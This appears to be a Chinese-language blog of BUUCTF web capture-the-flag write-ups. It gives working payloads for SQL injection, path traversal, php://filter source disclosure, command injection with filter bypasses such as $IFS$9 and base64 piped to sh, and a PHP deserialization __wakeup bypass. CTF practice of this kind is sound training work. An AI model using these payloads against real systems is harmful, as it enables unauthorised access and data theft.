BUU WEB

First Post:

Last Update:

Word Count:
2k

Read Time:
9 min

BUU CTF WEB

[极客大挑战 2019]EasySQL1]

帐号输入 ‘ or ‘1’=’1

密码输入 ‘ or ‘1’=’1

flag{b43c9a0f-dd16-4432-a859-253f56cd993b}

[极客大挑战 2019]Havefun1]

F12查看源码,查看到提示

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

通过get请求使cat参数值为dog即可获取flag

?cat=dog

payload: http://7985269e-06f7-431a-9938-ff0e590251cf.node3.buuoj.cn/?cat=dog

flag{90b2e805-de37-428a-8911-bfd1ab0bb3ae}

[SUCTF 2019]EasySQL1]

Give me your flag, I will tell you if the flag is right.

试了特殊符号,没有回显,sqlmap也没跑出来

这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到

回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from

Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。

可以堆叠注入

1
2
1;show databases; 
1;show tables;

非预期解

1
*,1

内置的sql语句为 sql = “select.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

预期解

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

1
2
1;set sql_mode=PIPES_AS_CONCAT;select 1

输入的内容为1;set sql_mode=pipes_as_concat;select 1

其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串

Array ( [0] => flag{34e37110-652b-4656-b899-590fefa7c0c7} [1] => 1 )

ref: https://blog.csdn.net/qq_43619533/article/details/103434935

[ACTF2020 新生赛]Include1

存在目录穿越漏洞

http://326f1184-6af6-41e1-b6d7-146fbc0ac01f.node3.buuoj.cn/?file=../../../etc/passwd

但找不到flag,存在php文件里了,在访问php文件时,需要解释php,所以采用php伪协议转化为base64编码,来获取文件内容

1
?file=php://filter/convert.base64-encode/resource=flag.php
1
2
3
<?php
echo "Can you find out the flag?";
//flag{ebe804c8-f8f9-45f4-8c75-b818b2db28f4}

访问index.php

1
?file=php://filter/convert.base64-encode/resource=index.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>

[极客大挑战 2019]Secret File1]

f12查看源码发现

href=”./Archive_room.php”

访问点击secret后啥也没发现,在Archive_room.php下发现 href=”./action.php”

访问./action.php后自动跳转至end.php,通过bp抓包获得

1
2
3
4
5
6
7
8
<!DOCTYPE html>

<html>
<!--
secr3t.php
-->
</html>

访问 secr3t.php 得到如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

阅读源代码只过滤了部分字符,可以通过php伪协议将flag.php进行base64编码输出

payload

1
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

flag{86cfc1f0-76c3-413a-9049-0f3cfee7cda3}

[极客大挑战 2019]LoveSQL1]

给了一句话使用sqlmap是没有灵魂的

用户名输入admin,密码输入’or ‘1’=’1

成功登录,显示如下

1
2
Hello admin!
Your password is '4382e7984516bd7775c71b8b6a4aeae3'

但什么也没有,password也不是flag,那得采用sqlmap来试试,以失败告终。

采用爆破

爆破字段

通过以下来不断增加数字,来爆破字段

1
admin' order by 1 #

在输入框输入#符号时,采用%23来代替

1
/check.php?username=admin' order by 4 %23&password=1

爆破到4的时候

出现错误,说明字段数为4

通过union来测试注入点

1
/check.php?username=1' union select 1,2,3%23&password=1

用户名打印2,密码打印3

爆破数据库

1

ref: https://segmentfault.com/a/1190000022535775

[GXYCTF2019]Ping Ping Ping1]

过滤了空格,/, flag,还有{}等符号,采用$IFS$9来代替空格,<>也过滤了。

/?ip=i0gan.cn;a=g;b=f;c=.php;ls;cat$IFS$9index.php;echo$IFS$9fla$a.php;cat$IFS$9fla$a.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/?ip=
PING i0gan.cn (121.5.5.167): 56 data bytes
flag.php
index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>

不知道为什么打印cat flag.php。

其他技巧
内联执行

1
2
?ip=1|cat$IFS$1`ls`
1

sh命令

1
2
?ip=1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
#Y2F0IGZsYWcucGhw为cat flag.php的base64编码

[ACTF2020 新生赛]Exec1]

啥也没过滤

payload:

1
;cat /flag

[极客大挑战 2019]Knife1]

AntSword直接连接,密码为Syc,在根目录下找到flag

flag{6e339abb-c408-45b5-883c-9bb75796058d}

[极客大挑战 2019]PHP

dirsearch扫

扫描结果如下:

1
2
3
4
5
6
7
8
9
10
[16:04:20] 429 -  568B  - /wsadmin.traceout 
[16:04:20] 429 - 568B - /wsadmin.valout
[16:04:21] 429 - 568B - /wsadminListener.out
[16:04:21] 429 - 568B - /wshell.php
[16:04:22] 200 - 6KB - /www.zip
[16:04:22] 429 - 568B - /xprober.php
[16:04:22] 429 - 568B - /xshell.php
[16:04:22] 429 - 568B - /xsl/
[16:04:22] 429 - 568B - /xsl/_common.xsl
[16:04:22] 429 - 568B - /xsl/common.xsl

扫到了www.zip文件

存在class.php,flag.php,index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

php反序列化

index.php

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

通过php构造Name 类序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>

打印如下:

1
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

即序列字符串如下

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

由于在进行序列化的时候调用了__wakeup函数,导致usename重新赋值为guest,那么现在要考虑如何绕过__wackup函数了。

如何跳过__wackup函数,在反序列化字符串时,若属性个数大于实际的属性个数时,会跳过__wakeup函数。

以上将2改为3即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

不过还是没有结束,因为这个声明变量是private

private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

再次改造一下序列化

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

ref: https://segmentfault.com/a/1190000022534926

打赏点小钱
支付宝 | Alipay
微信 | WeChat